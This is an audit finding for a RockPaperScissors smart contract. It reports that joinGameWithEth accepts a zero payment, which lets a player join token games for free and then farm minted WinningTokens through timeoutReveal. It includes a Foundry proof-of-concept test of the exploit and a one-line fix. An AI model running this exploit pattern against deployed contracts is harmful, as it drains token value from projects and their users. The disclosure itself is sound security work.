Description: The RockPaperScissors::joinGameWithEth
function fails to validate that msg.value > 0. As a result, an attacker can call this function with msg.value == 0 and still successfully join a Token-based Game, provided the original creator also set the bet to 0. The check require(msg.value == game.bet) passes because both values are 0.
Impact: An attacker can exploit this by joining a token game without staking any tokens. After joining, the attacker commits a move and immediately calls timeoutReveal
, which triggers _cancelGame
— a function that mints 1 WinningToken to both participants. Since the attacker joined without any cost, they effectively farm free tokens. Repeating this at scale enables rapid minting of arbitrary amounts of tokens, undermining the integrity and scarcity of the token economy.
Proof of Concept: To test this, I have added the following test function into the current test suite. The following proof of concept demonstrates the exact exploit highlighted above.
address public playerC = makeAddr("playerC");
address public playerD = makeAddr("playerD");
uint256 testGameId;
function testJoinGameWithTokenUsingEth() public {
vm.prank(address(game));
token.mint(playerC, 10);
vm.prank(address(game));
token.mint(playerD, 10);
vm.stopPrank();
vm.startPrank(playerC);
token.approve(address(game), 1);
testGameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerD);
game.joinGameWithEth(testGameId);
vm.stopPrank();
assertEq(token.balanceOf(playerC), 9);
assertEq(token.balanceOf(playerD), 10);
(address storedPlayerC, address storedPlayerD,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(testGameId);
assertEq(storedPlayerC, playerC);
assertEq(storedPlayerD, playerD);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
bytes32 saltD = keccak256(abi.encodePacked("salt for player D"));
bytes32 commitD = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltD));
vm.startPrank(playerD);
game.commitMove(testGameId, commitD);
game.timeoutReveal(testGameId);
vm.stopPrank();
assertEq(token.balanceOf(playerC), 10);
assertEq(token.balanceOf(playerD), 11);
}
Recommended Mitigation: An additional check that game.bet > 0 should be included within the function. This would ensure that the function cannot be used to join token games.
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
require(game.bet > 0, "Eth must be sent to join an Eth game");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}